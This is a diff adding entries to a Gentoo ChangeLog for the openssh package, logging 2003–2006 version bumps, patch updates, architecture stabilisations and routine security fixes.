+  26 Sep 2006; Gustavo Zacarias <gustavoz@gentoo.org>
+  openssh-4.3_p2-r5.ebuild:
+  Stable on hppa wrt security #148228
+
+  26 Sep 2006; Simon Stelling <blubb@gentoo.org> openssh-4.3_p2-r5.ebuild:
+  stable on amd64; bug 148228
+
+  26 Sep 2006; Tobias Scherbaum <dertobi123@gentoo.org>
+  openssh-4.3_p2-r5.ebuild:
+  ppc stable, bug #148228
+
+  25 Sep 2006; Jason Wever <weeve@gentoo.org> openssh-4.3_p2-r5.ebuild:
+  Stable on SPARC wrt security bug #148228.
+
+  25 Sep 2006; Paul Varner <fuzzyray@gentoo.org> openssh-4.3_p2-r5.ebuild:
+  Stable on x86. Bug #148228
+
+*openssh-4.3_p2-r5 (25 Sep 2006)
+
+  25 Sep 2006; Tavis Ormandy <taviso@gentoo.org> +openssh-4.3_p2-r5.ebuild,
+  +files/openssh-4.3_p2-identical-simple-dos-2.patch:
+  Tweak DOS patch #148228.
+
+  23 Sep 2006; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.3_p2-opensc-libs.patch, openssh-4.3_p2-r4.ebuild:
+  Fix building with --as-needed #148538 by Mart Raudsepp.
+
+  23 Sep 2006; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.3_p2-ldap-updates.patch, openssh-4.3_p2-r4.ebuild:
+  Fixup ldap configure code #148723 by sfp-a7x.
+
+*openssh-4.3_p2-r4 (22 Sep 2006)
+
+  22 Sep 2006; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.3_p2-securid-updates.patch, +openssh-4.3_p2-r4.ebuild:
+  Force rebuilding of all autotools instead of just cheating with autoconf
+  #148639 by Alex K.
+
+  22 Sep 2006; Tobias Scherbaum <dertobi123@gentoo.org>
+  openssh-4.3_p2-r3.ebuild:
+  hppa stable, bug #148228
+
+  21 Sep 2006; Tobias Scherbaum <dertobi123@gentoo.org>
+  openssh-4.3_p2-r3.ebuild:
+  ppc stable, bug #148228
+
+  21 Sep 2006; Mike Doty <kingtaco@gentoo.org> openssh-4.3_p2-r3.ebuild:
+  amd64 stable, bug 148228
+
+  21 Sep 2006; Gustavo Zacarias <gustavoz@gentoo.org>
+  openssh-4.3_p2-r3.ebuild:
+  Stable on sparc wrt #148228
+
+  21 Sep 2006; <ticho@gentoo.org> openssh-4.3_p2-r3.ebuild:
+  Stable on x86, security bug #148228.
+
+  21 Sep 2006; Markus Rothe <corsair@gentoo.org> openssh-4.3_p2-r3.ebuild:
+  Stable on ppc64; bug #148228
+
+*openssh-4.3_p2-r3 (20 Sep 2006)
+
+  20 Sep 2006; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.3_p1-chroot.patch,
+  +files/openssh-4.3_p2-identical-simple-dos.patch, files/sshd.confd,
+  files/sshd.rc6, +openssh-4.3_p2-r3.ebuild:
+  Fixes from upstream for minor DOS #148228.
+
+  08 Sep 2006; Mike Frysinger <vapier@gentoo.org> openssh-4.3_p2-r2.ebuild:
+  Remove ugly flag mangling and fix building with USE=static #146654 by
+  Alexander Skwar.
+
+  05 Jul 2006; Andrea Barisani <lcars@gentoo.org> metadata.xml:
+  Making my metadata entry a bit more clear.
+
+  04 Jul 2006; Mike Frysinger <vapier@gentoo.org> openssh-4.3_p2-r2.ebuild:
+  Add x11-apps/xauth to RDEPEND for USE=X #139235 by Ian Stakenvicius.
+
+  02 Jul 2006; Robin H. Johnson <robbat2@gentoo.org>
+  files/digest-openssh-3.9_p1-r3, files/digest-openssh-4.0_p1-r2,
+  files/digest-openssh-4.1_p1-r1, files/digest-openssh-4.2_p1-r1,
+  files/digest-openssh-4.3_p1, files/digest-openssh-4.3_p2-r1,
+  files/digest-openssh-4.3_p2-r2, Manifest:
+  Fix digest weirdness.
+
+  30 Jun 2006; Robin H. Johnson <robbat2@gentoo.org>
+  files/digest-openssh-4.3_p1, files/digest-openssh-4.3_p2-r1,
+  files/digest-openssh-4.3_p2-r2, Manifest:
+  Upstream changed the openssh-lpk-4.3p1-0.3.7.patch file, and didn't alter
+  the filename! Re-digest as needed.
+
+  27 Jun 2006; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.3_p2-configure.patch, openssh-4.3_p1.ebuild,
+  openssh-4.3_p2-r1.ebuild, openssh-4.3_p2-r2.ebuild:
+  Fix broken configure script #137921 by Adam Potter.
+
+  24 Jun 2006; Diego Pettenò <flameeyes@gentoo.org>
+  openssh-4.3_p2-r1.ebuild:
+  Remove x86-fbsd keyword from an older rev, just to be safe.
+
+  24 Jun 2006; Diego Pettenò <flameeyes@gentoo.org>
+  openssh-4.3_p2-r2.ebuild:
+  Put shadow under conditional userland_GNU, unbreak non-GNU userlands.
+
+  24 Jun 2006; Joshua Kinard <kumba@gentoo.org> openssh-4.3_p2-r2.ebuild:
+  Eh, shadow belongs in RDEPEND instead, duh.
+
+  24 Jun 2006; Joshua Kinard <kumba@gentoo.org> openssh-4.3_p2-r2.ebuild:
+  Added shadow as a DEPEND so that groupadd is available.
+
+*openssh-4.3_p2-r2 (08 Jun 2006)
+
+  08 Jun 2006; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.3_p2-securid-hpn-glue.patch,
+  +files/openssh-4.3_p2-x509-hpn-glue.patch, openssh-4.2_p1-r1.ebuild,
+  +openssh-4.3_p2-r2.ebuild:
+  Update hpn and x509 patches #135691 by Scott Jones.
+
+  07 Jun 2006; Joshua Kinard <kumba@gentoo.org> openssh-4.3_p2-r1.ebuild:
+  Add sys-apps/shadow to RDEPEND/DEPEND so group/useradd is available. Fixes
+  Bug #135966.
+
+  29 Apr 2006; Joshua Kinard <kumba@gentoo.org> openssh-4.3_p2-r1.ebuild:
+  Marked stable on mips.
+
+  19 Apr 2006; Andrea Barisani <lcars@gentoo.org> openssh-4.3_p1.ebuild,
+  openssh-4.3_p2-r1.ebuild:
+  Ok that last commit was stupid, going back and waiting for updated mirrors.
+
+  19 Apr 2006; <lcars@gentoo.org> openssh-4.3_p1.ebuild,
+  openssh-4.3_p2-r1.ebuild:
+  Moving ldap patch to dev.gentoo.org waiting for mirror to get the updated version
+  and fixing digest issues. bug #130354
+
+  17 Apr 2006; Markus Rothe <corsair@gentoo.org> openssh-4.3_p2-r1.ebuild:
+  Stable on ppc64; bug #130027
+
+  17 Apr 2006; Chris Gianelloni <wolf31o2@gentoo.org>
+  openssh-4.3_p2-r1.ebuild:
+  Stable on x86 wrt bug #130027.
+
+  16 Apr 2006; Bryan Østergaard <kloeri@gentoo.org
+  openssh-4.3_p2-r1.ebuild:
+  Stable on alpha, bug 130027.
+
+  15 Apr 2006; Jason Wever <weeve@gentoo.org> openssh-4.3_p2-r1.ebuild:
+  Stable on SPARC wrt bug #130027.
+
+  15 Apr 2006; <nixnut@gentoo.org> openssh-4.3_p2-r1.ebuild:
+  Stable on ppc. Bug #130027
+
+  15 Apr 2006; Marcus D. Hanwell <cryos@gentoo.org>
+  openssh-4.3_p2-r1.ebuild:
+  Marked stable on amd64, bug 130027.
+
+  04 Apr 2006; Diego Pettenò <flameeyes@gentoo.org>
+  openssh-4.3_p2-r1.ebuild:
+  Allow using freebsd-lib's libedit with libedit useflag.
+
+  30 Mar 2006; Diego Pettenò <flameeyes@gentoo.org>
+  openssh-4.3_p2-r1.ebuild:
+  Add ~x86-fbsd keyword.
+
+  05 Mar 2006; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.3_p2-selinux.patch.glue, openssh-4.3_p2-r1.ebuild:
+  Glue selinux and X509 support #125108 by Alon Bar-Lev.
+
+  05 Mar 2006; Andrea Barisani <lcars@gentoo.org> openssh-4.3_p1.ebuild,
+  openssh-4.3_p2.ebuild, openssh-4.3_p2-r1.ebuild:
+  Restored ldap support in 4.3 versions.
+
+*openssh-4.3_p2-r1 (05 Mar 2006)
+
+  05 Mar 2006; Chris PeBenito <pebenito@gentoo.org>
+  +files/openssh-4.3_p2-selinux.patch, +openssh-4.3_p2-r1.ebuild:
+  Bump to update SELinux patch.
+
+*openssh-4.3_p2 (04 Mar 2006)
+
+  04 Mar 2006; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.3_p1-krb5-typos.patch, +openssh-4.3_p2.ebuild:
+  Version bump and add patch from upstream #124494 by RiverRat.
+
+  28 Feb 2006; Mike Frysinger <vapier@gentoo.org> files/sshd.rc6:
+  Add restart function by Michal Fojtik to init.d script #124271.
+
+  19 Feb 2006; Joshua Kinard <kumba@gentoo.org> openssh-4.2_p1-r1.ebuild:
+  Marked stable on mips.
+
+*openssh-4.3_p1 (08 Feb 2006)
+
+  08 Feb 2006; Mike Frysinger <vapier@gentoo.org> +openssh-4.3_p1.ebuild:
+  Version bump #121191 by Wolfram Schlich.
+
+  04 Feb 2006; Mike Frysinger <vapier@gentoo.org> +files/sshd.confd,
+  files/sshd.rc6, openssh-3.9_p1-r3.ebuild, openssh-4.0_p1-r2.ebuild,
+  openssh-4.1_p1-r1.ebuild, openssh-4.2_p1.ebuild, openssh-4.2_p1-r1.ebuild:
+  Pass sshd_config to sshd when starting to better help running multiple
+  instances of ssh #121530 by ph.
+
+  03 Feb 2006; Tobias Scherbaum <dertobi123@gentoo.org>
+  openssh-4.2_p1-r1.ebuild:
+  ppc stable, bug #119232
+
+  03 Feb 2006; Markus Rothe <corsair@gentoo.org> openssh-4.2_p1-r1.ebuild:
+  Stable on ppc64: bug #119232
+
+  03 Feb 2006; Jose Luis Rivero <yoswink@gentoo.org>
+  openssh-4.2_p1-r1.ebuild:
+  Stable on alpha wrt sec bug #119232
+
+  02 Feb 2006; Rene Nussbaumer <killerfox@gentoo.org>
+  openssh-4.2_p1-r1.ebuild:
+  Stable on hppa. See bug #119232.
+
+  02 Feb 2006; Mark Loeser <halcy0n@gentoo.org> openssh-4.2_p1-r1.ebuild:
+  Stable on x86; bug #119232
+
+  02 Feb 2006; Gustavo Zacarias <gustavoz@gentoo.org>
+  openssh-4.2_p1-r1.ebuild:
+  Stable on sparc wrt security #119232
+
+  02 Feb 2006; Simon Stelling <blubb@gentoo.org> openssh-4.2_p1-r1.ebuild:
+  stable on amd64 wrt bug 119232
+
+*openssh-4.2_p1-r1 (01 Feb 2006)
+
+  01 Feb 2006; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.2_p1-CVE-2006-0225.patch, +openssh-4.2_p1-r1.ebuild:
+  Version bump for security #119232.
+
+  29 Jan 2006; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.2_p1-cross-compile.patch, openssh-4.0_p1-r2.ebuild,
+  openssh-4.1_p1-r1.ebuild, openssh-4.2_p1.ebuild:
+  Fix cross-compiling #120567 by Raphael Burnes.
+
+  25 Dec 2005; Diego Pettenò <flameeyes@gentoo.org> openssh-4.2_p1.ebuild:
+  Use bindnow-flags function instead of -Wl,-z,now.
+
+  10 Dec 2005; Mike Frysinger <vapier@gentoo.org> files/sshd.rc6:
+  Update init.d script to allow for multiple instances by Marius Mauch #114996.
+
+  22 Oct 2005; MATSUU Takuto <matsuu@gentoo.org> openssh-4.2_p1.ebuild:
+  Stable on sh for #109678.
+
+  22 Oct 2005; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.2_p1-selinux.patch, openssh-4.2_p1.ebuild:
+  Fix selinux support #110039 and add back in securid/hpn patches.
+
+  21 Oct 2005; Bryan Østergaard <kloeri@gentoo.org> openssh-4.2_p1.ebuild:
+  Stable on alpha + ia64, bug 109678.
+
+  21 Oct 2005; Jason Wever <weeve@gentoo.org> openssh-4.2_p1.ebuild:
+  Stable on SPARC wrt security bug #109678.
+
+  21 Oct 2005; Seemant Kulleen <seemant@gentoo.org> openssh-4.2_p1.ebuild:
+  stable amd64 for bug #109678
+
+  21 Oct 2005; Aaron Walker <ka0ttic@gentoo.org> openssh-4.2_p1.ebuild:
+  Stable on mips for bug #109678.
+
+  20 Oct 2005; Michael Hanselmann <hansmi@gentoo.org> openssh-4.2_p1.ebuild:
+  Stable on hppa, ppc.
+
+  20 Oct 2005; <mkay@gentoo.org> openssh-4.2_p1.ebuild:
+  Marking stable on x86
+
+  20 Oct 2005; Brent Baude <ranger@gentoo.org> openssh-4.2_p1.ebuild:
+  Marking openssh-4.2_p1 ppc64 for bug 109678
+
+  19 Oct 2005; Mike Frysinger <vapier@gentoo.org>
+  openssh-3.8.1_p1-r1.ebuild, openssh-3.9_p1-r3.ebuild,
+  openssh-4.0_p1-r2.ebuild, openssh-4.1_p1-r1.ebuild, openssh-4.2_p1.ebuild:
+  Move default xauth location to /usr/bin/xauth.
+
+*openssh-4.2_p1 (06 Sep 2005)
+
+  06 Sep 2005; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.2_p1-kerberos-detection.patch,
+  +files/openssh-4.2_p1-sftplogging-1.4-gentoo.patch.bz2,
+  +openssh-4.2_p1.ebuild:
+  Version bump #104948 by Saurabh Singhvi.
+
+  05 Sep 2005; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-3.9_p1-fix_suid.patch,
+  -files/openssh-3.9_p1-fix_suid.patch.bz2,
+  +files/openssh-3.9_p1-fix_suid-x509.patch, openssh-3.8.1_p1-r1.ebuild,
+  openssh-3.9_p1-r3.ebuild, openssh-4.0_p1-r2.ebuild,
+  openssh-4.1_p1-r1.ebuild:
+  Update the x509 patches.
+
+  05 Sep 2005; Mike Frysinger <vapier@gentoo.org> openssh-4.1_p1-r1.ebuild:
+  Re-enable smartcard support.
+
+  20 Aug 2005; Mike Frysinger <vapier@gentoo.org> files/sshd.rc6:
+  Before starting sshd, sanity check the config file #101893 by Eric Brown.
+
+*openssh-4.1_p1-r1 (15 Jul 2005)
+*openssh-4.0_p1-r2 (15 Jul 2005)
+*openssh-3.9_p1-r3 (15 Jul 2005)
+
+  15 Jul 2005; Andrea Barisani <lcars@gentoo.org> metadata.xml,
+  +openssh-3.9_p1-r3.ebuild, +openssh-4.0_p1-r2.ebuild,
+  +openssh-4.1_p1-r1.ebuild:
+  Updating openssh-lpk ldap patches to version 0.3.6.
+
+  26 Jun 2005; Mike Frysinger <vapier@gentoo.org> openssh-3.9_p1-r2.ebuild,
+  openssh-4.0_p1-r1.ebuild, openssh-4.1_p1.ebuild:
+  Add support for the High Performance patch #96717 by Frank Benkstein.
+
+  29 May 2005; Mike Frysinger <vapier@gentoo.org> openssh-4.0_p1-r1.ebuild,
+  openssh-4.1_p1.ebuild:
+  Add USE=libedit support #94410 by Joe Wells.
+
+*openssh-4.1_p1 (29 May 2005)
+
+  29 May 2005; Mike Frysinger <vapier@gentoo.org> +openssh-4.1_p1.ebuild:
+  Version bump #94261 by Tobias Sager.
+
+  28 May 2005; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.0_p1-smartcard-ldap-happy.patch,
+  openssh-3.8.1_p1-r1.ebuild, openssh-3.9_p1-r2.ebuild,
+  openssh-4.0_p1-r1.ebuild:
+  Add support for LDAP and make it mutually exclusive from x509 since they
+  conflict #58579.
+
+  22 May 2005; Mike Frysinger <vapier@gentoo.org> openssh-4.0_p1-r1.ebuild:
+  Add support for RSA SecurID tokens #92233 by Antti Mäkelä.
+
+  20 May 2005; Diego Pettenò <flameeyes@gentoo.org>
+  openssh-3.9_p1-r2.ebuild, openssh-4.0_p1.ebuild, openssh-4.0_p1-r1.ebuild:
+  Inherit pam eclass for newpamd.
+
+*openssh-4.0_p1-r1 (29 Apr 2005)
+
+  29 Apr 2005; Diego Pettenò <flameeyes@gentoo.org>
+  +files/sshd.pam_include, +openssh-4.0_p1-r1.ebuild:
+  Added a new revision depending on virtual/pam (>=pam-0.78) and uses the
+  include syntax instead of pam_stack.so.
+
+*openssh-3.9_p1-r2 (17 Mar 2005)
+
+  17 Mar 2005; Mike Frysinger <vapier@gentoo.org>
+  files/openssh-3.9_p1-sftplogging-1.2-gentoo.patch.bz2,
+  +openssh-3.9_p1-r2.ebuild:
+  Fix bad sftplogging code #82372 by Andrej Kacian.
+
+*openssh-4.0_p1 (15 Mar 2005)
+
+  15 Mar 2005; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-4.0_p1-sftplogging-1.2-gentoo.patch.bz2,
+  +openssh-4.0_p1.ebuild:
+  Version bump #84717 by Michail A.Baikov.
+
+  13 Mar 2005; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-3.9_p1-kerberos-detection.patch, openssh-3.9_p1-r1.ebuild:
+  Add patch to fix kerberos detection #80811 by Aron Griffis.
+
+  13 Mar 2005; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-3.9_p1-configure-openct.patch, openssh-3.9_p1-r1.ebuild:
+  Fix USE=-opensc logic with patch by Stian Skjelstad #78730.
+
+  19 Feb 2005; Mike Frysinger <vapier@gentoo.org>
+  files/openssh-3.9_p1-largekey.patch.bz2:
+  Make sure that the largekey properly passes the size of the buffer along
+  #82463 by David Cuthbert.
+
+  22 Jan 2005; Daniel Ahlberg <aliz@gentoo.org>
+  +files/openssh-3.9_p1-pamfix.patch.bz2, openssh-3.9_p1-r1.ebuild:
+  Added pamfix patch from upstream, closing #65343.
+
+  07 Jan 2005; Daniel Ahlberg <aliz@gentoo.org>
+  +files/openssh-3.9_p1-terminal_restore.patch.bz2,
+  openssh-3.9_p1-r1.ebuild:
+  Fix terminal restoration after breaking out from sftp and scp, closing #63544.
+
+  30 Dec 2004; Bryan Østergaard <kloeri@gentoo.org>
+  openssh-3.9_p1-r1.ebuild:
+  Stable on alpha, bug 59361.
+
+  29 Dec 2004; Hardave Riar <hardave@gentoo.org> openssh-3.9_p1-r1.ebuild:
+  Stable on mips, bug #59361.
+
+  29 Dec 2004; Ciaran McCreesh <ciaranm@gentoo.org> :
+  Change encoding to UTF-8 for GLEP 31 compliance
+
+  29 Dec 2004; Gustavo Zacarias <gustavoz@gentoo.org>
+  openssh-3.9_p1-r1.ebuild:
+  Stable on sparc wrt #59361
+
+  29 Dec 2004; Markus Rothe <corsair@gentoo.org> openssh-3.9_p1-r1.ebuild:
+  Stable for security; bug #59361
+
+  29 Dec 2004; <SeJo@gentoo.org> openssh-3.9_p1-r1.ebuild:
+  stable on ppc glsa: 59361
+
+*openssh-3.9_p1-r1 (28 Dec 2004)
+
+  28 Dec 2004; Mike Frysinger <vapier@gentoo.org>
+  files/openssh-3.9_p1-chroot.patch, +openssh-3.9_p1-r1.ebuild, 
+  +files/openssh-3.9_p1-infoleak.patch:
+  Add infoleak fix #59361 and allow the chroot patch to support PAM auth #72987.
+
+  16 Nov 2004; Mike Frysinger <vapier@gentoo.org> openssh-3.9_p1.ebuild:
+  If USE=pam, then disable PasswordAuthentication since PAM overrides it #71233.
+
+  14 Sep 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.9_p1.ebuild,
+  files/openssh-3.9_p1-fix_suid.patch.bz2:
+  Fixed suid binary.
+
+  14 Sep 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p2-r1.ebuild,
+  openssh-3.7.1_p2-r2.ebuild, openssh-3.8.1_p1-r1.ebuild,
+  openssh-3.8.1_p1-r2.ebuild, openssh-3.8.1_p1.ebuild, openssh-3.8_p1.ebuild,
+  openssh-3.9_p1.ebuild, files/openssh-3.5_p1-gentoo-sshd-gcc3.patch,
+  files/openssh-3.5_p1-gentoo-sshd-gcc3.patch.bz2,
+  files/openssh-3.7.1_p1-selinux.diff,
+  files/openssh-3.7.1_p1-selinux.diff.bz2,
+  files/openssh-3.7.1_p2-chroot.patch,
+  files/openssh-3.7.1_p2-chroot.patch.bz2,
+  files/openssh-3.7.1_p2-kerberos.patch,
+  files/openssh-3.7.1_p2-kerberos.patch.bz2,
+  files/openssh-3.7.1_p2-skey.patch, files/openssh-3.7.1_p2-skey.patch.bz2,
+  files/openssh-3.8.1_p1-chroot.patch,
+  files/openssh-3.8.1_p1-chroot.patch.bz2,
+  files/openssh-3.8.1_p1-kerberos.patch,
+  files/openssh-3.8.1_p1-kerberos.patch.bz2,
+  files/openssh-3.8.1_p1-largekey.patch,
+  files/openssh-3.8.1_p1-largekey.patch.bz2,
+  files/openssh-3.8.1_p1-opensc.patch,
+  files/openssh-3.8.1_p1-opensc.patch.bz2,
+  files/openssh-3.8.1_p1-resolv_functions.patch,
+  files/openssh-3.8.1_p1-resolv_functions.patch.bz2,
+  files/openssh-3.8.1_p1-skey.patch,
+  files/openssh-3.8_p1-resolv_functions.patch.bz2,
+  files/openssh-3.8_p1-skey.patch, files/openssh-3.8_p1-skey.patch.bz2,
+  files/openssh-3.9_p1-chroot.patch, files/openssh-3.9_p1-chroot.patch.bz2,
+  files/openssh-3.9_p1-largekey.patch,
+  files/openssh-3.9_p1-largekey.patch.bz2, files/openssh-3.9_p1-opensc.patch,
+  files/openssh-3.9_p1-opensc.patch.bz2, files/openssh-3.9_p1-selinux.diff,
+  files/openssh-3.9_p1-selinux.diff.bz2,
+  files/openssh-3.9_p1-sftplogging-1.2-gentoo.patch,
+  files/openssh-3.9_p1-sftplogging-1.2-gentoo.patch.bz2,
+  files/openssh-3.9_p1-skey.patch, files/openssh-3.9_p1-skey.patch.bz2,
+  files/openssh-skeychallenge-args.diff,
+  files/openssh-skeychallenge-args.diff.bz2:
+  Compressed patches.
+
+  20 Aug 2004; Gustavo Zacarias <gustavoz@gentoo.org>
+  openssh-3.8.1_p1-r1.ebuild:
+  Stable on sparc
+
+  20 Aug 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.9_p1.ebuild,
+  files/openssh-3.9_p1-sftplogging-1.2-gentoo.patch:
+  Enable X509 now that a updated patch is available, closing #60905.
+  Fix skey support by running autoconf, closing #60849.
+  Disable pam if static is in USE, closing #60864.
+
+  19 Aug 2004; Chris PeBenito <pebenito@gentoo.org>
+  +files/openssh-3.9_p1-selinux.diff, openssh-3.9_p1.ebuild:
+  Update SELinux patch
+
+  18 Aug 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.8.1_p1-r2.ebuild:
+  Fixed sftplogging patch, closing #60417 again.
+
+*openssh-3.9_p1 (18 Aug 2004)
+
+  18 Aug 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.8.1_p1-r2.ebuild,
+  openssh-3.9_p1.ebuild:
+  Version bump, closing #60758.
+
+  16 Aug 2004; Daniel Ahlberg <aliz@gentoo.org>
+  files/openssh-3.8.1_p1-largekey.patch:
+  Fixed largekey patch. Closing #60417.
+
+*openssh-3.8.1_p1-r2 (15 Aug 2004)
+
+  15 Aug 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.8.1_p1-r2.ebuild:
+  + Added sftp-logging patch, closing #52168.
+  + Added patch for large keys, closing #55013.
+
+  08 Jul 2004; Bryan Østergaard <kloeri@gentoo.org>
+  openssh-3.8.1_p1-r1.ebuild:
+  Stable on alpha.
+
+  07 Jul 2004; Travis Tilley <lv@gentoo.org> openssh-3.8.1_p1-r1.ebuild:
+  stable on amd64
+
+  03 Jul 2004; Joshua Kinard <kumba@gentoo.org> openssh-3.8.1_p1-r1.ebuild:
+  Marked stable on mips.
+
+  01 Jul 2004; Jon Hood <squinky86@gentoo.org> openssh-3.7.1_p2-r1.ebuild,
+  openssh-3.7.1_p2-r2.ebuild, openssh-3.8.1_p1-r1.ebuild,
+  openssh-3.8.1_p1.ebuild, openssh-3.8_p1.ebuild:
+  change virtual/glibc to virtual/libc
+
+  28 Jun 2004; Brandon Hale <tseng@gentoo.org> openssh-3.8.1_p1-r1.ebuild:
+  Stable on x86.
+
+  15 Jun 2004; <solar@gentoo.org> openssh-3.8.1_p1-r1.ebuild:
+  pam & uclibc updates
+
+  07 Jun 2004; Bryan Østergaard <kloeri@gentoo.org> openssh-3.8.1_p1.ebuild:
+  Stable on alpha.
+
+  05 Jun 2004; Hanselmann Michael <hansmi@gentoo.org>
+  openssh-3.8.1_p1.ebuild:
+  Replaced ~ppc with ppc in KEYWORDS.
+
+*openssh-3.8.1_p1-r1 (30 May 2004)
+
+  30 May 2004; Mike Frysinger <vapier@gentoo.org>
+  +files/openssh-3.8.1_p1-opensc.patch, +openssh-3.8.1_p1-r1.ebuild:
+  Add optional support for smartcard stuff #43593 by Andreas Jellinghaus.
+
+  01 May 2004; Ciaran McCreesh <ciaranm@gentoo.org> openssh-3.8_p1.ebuild:
+  Stable on sparc, mips
+
+  28 Apr 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.8.1_p1.ebuild:
+  Readded X509 patch now that it has been updated upstream.
+
+  27 Apr 2004; Michael McCabe <randy@gentoo.org> openssh-3.8.1_p1.ebuild:
+  Stable on s390
+
+  22 Apr 2004; Guy Martin <gmsoft@gentoo.org> openssh-3.8_p1.ebuild:
+  Marked stable on hppa.
+
+  22 Apr 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p2-r2.ebuild,
+  openssh-3.8.1_p1.ebuild, openssh-3.8_p1.ebuild:
+  Fixed IUSE flags.
+
+  21 Apr 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.8_p1.ebuild:
+  Stable on x86 and amd64.
+
+*openssh-3.8.1_p1 (21 Apr 2004)
+
+  21 Apr 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.8.1_p1.ebuild:
+  Version bump. Found by Daniel Webert <daniel_webert@web.de> in #48465.
+
+  13 Apr 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p2-r2.ebuild,
+  openssh-3.8_p1.ebuild:
+  Updated SRC_URI.
+
+  23 Mar 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p2-r1.ebuild,
+  openssh-3.7.1_p2-r2.ebuild, openssh-3.8_p1.ebuild:
+  Change download URI for X509 patches temporarily.
+
+  18 Mar 2004; Daniel Ahlberg <aliz@gentoo.org> files/sshd.rc6, openssh-3.8_p1.ebuild:
+  Add mkdir -p /var/empty to initscript. Closing #42936.
+
+  09 Mar 2004; <agriffis@gentoo.org> openssh-3.7.1_p2-r2.ebuild:
+  stable on alpha and ia64
+
+  09 Mar 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.8_p1.ebuild:
+  + Add X509 patch back in, bumped to g4.
+  + Fix static compile by Sascha Silbe <sascha-gentoo-bugzilla@silbe.org> in #44077.
+
+  07 Mar 2004; Joshua Kinard <kumba@gentoo.org> openssh-3.7.1_p2-r2.ebuild:
+  Marked stable on mips.
+
+  02 Mar 2004; Brian Jackson <iggy@gentoo.org> openssh-3.8_p1.ebuild:
+  adding initial s390 support
+
+  27 Feb 2004; Sven Blumenstein <bazik@gentoo.org> openssh-3.7.1_p2-r2.ebuild:
+  Stable on sparc. Remember to mkdir /var/empty if it doesnt exist before you
+  restart sshd...
+
+  25 Feb 2004; Guy Martin <gmsoft@gentoo.org> openssh-3.7.1_p2-r2.ebuild:
+  Marked stable on hppa.
+
+  25 Feb 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p2-r2.ebuild:
+  Backport skey configure.ac patch.
+
+  24 Feb 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p2-r2.ebuild:
+  Unmask for x86 and amd64.
+
+*openssh-3.8_p1 (24 Feb 2004)
+
+  24 Feb 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.8_p1.ebuild:
+  Version bump.
+
+  21 Feb 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p2-r2.ebuild:
+  Fix openssh to work with multipe kerbers5 libs. Closing #30310.
+
+  20 Feb 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p2-r2.ebuild:
+  Filter flag if using ldap. Closing #41727.
+
+  12 Feb 2004; Mike Frysinger <vapier@gentoo.org> :
+  Set Protocol to only allow ssh2 by default #41215 and enable pam if in USE.
+
+  10 Jan 2004; Brad House <brad_mssw@gentoo.org> openssh-3.7.1_p2-r2.ebuild:
+  install doesn't seem to be creating /var/empty
+
+  08 Jan 2004; <solar@gentoo.org> openssh-3.5_p1-r1.ebuild,
+  openssh-3.6.1_p2.ebuild, openssh-3.7.1_p2-r1.ebuild,
+  openssh-3.7.1_p2-r2.ebuild:
+  ppc64/mips nightmare.. had to remove tcpd and skey support for various arches
+  due to other things not being marked stable on those arches
+
+*openssh-3.7.1_p2-r2 (08 Jan 2004)
+
+  08 Jan 2004; <solar@gentoo.org> openssh-3.7.1_p2-r2.ebuild:
+  added feature request for chrooting via sshd bug #26615
+
+  04 Jan 2004; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p2-r1.ebuild:
+  Changeing sshd user shell. Closing #35063.
+
+  03 Jan 2003; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p2-r1.ebuild:
+  Change adding sshd user and group to user enewuser and enewgroup. Should
+  fix #35369.
+
+*openssh-3.7.1_p2-r1 (05 Nov 2003)
+
+  17 Nov 2003; Joshua Kinard <kumba@gentoo.org> openssh-3.7.1_p2-r1.ebuild:
+  Added a gnuconfig_update call for mips systems
+
+  05 Nov 2003; Tavis Ormandy <taviso@gentoo.org> openssh-3.7.1_p2-r1.ebuild,
+  files/openssh-skeychallenge-args.diff:
+  patch needed for compatability with new skey.
+
+  28 Oct 2003; Chris PeBenito <pebenito@gentoo.org> openssh-3.5_p1-r1.ebuild,
+  openssh-3.6.1_p2.ebuild, openssh-3.7.1_p2.ebuild,
+  files/openssh-3.7.1_p1-selinux.diff:
+  Switch SELinux patch from old API to new API.
+
+  30 Sep 2003; Daniel Ahlberg <aliz@gentoo.org> openssh-3.7.1_p2.ebuild :
+  Add X509 patch back in, closes #29664.
+
+  23 Sep 2003; <solar@gentoo.org> openssh-3.7.1_p2.ebuild:
+  according to the ChangeLog for openssh =zlib-1.1.4 is a must now. Note:
+  openssh needs a X509 patch made upstream for p2
+
+*openssh-3.7.1_p2 (23 Sep 2003)
+
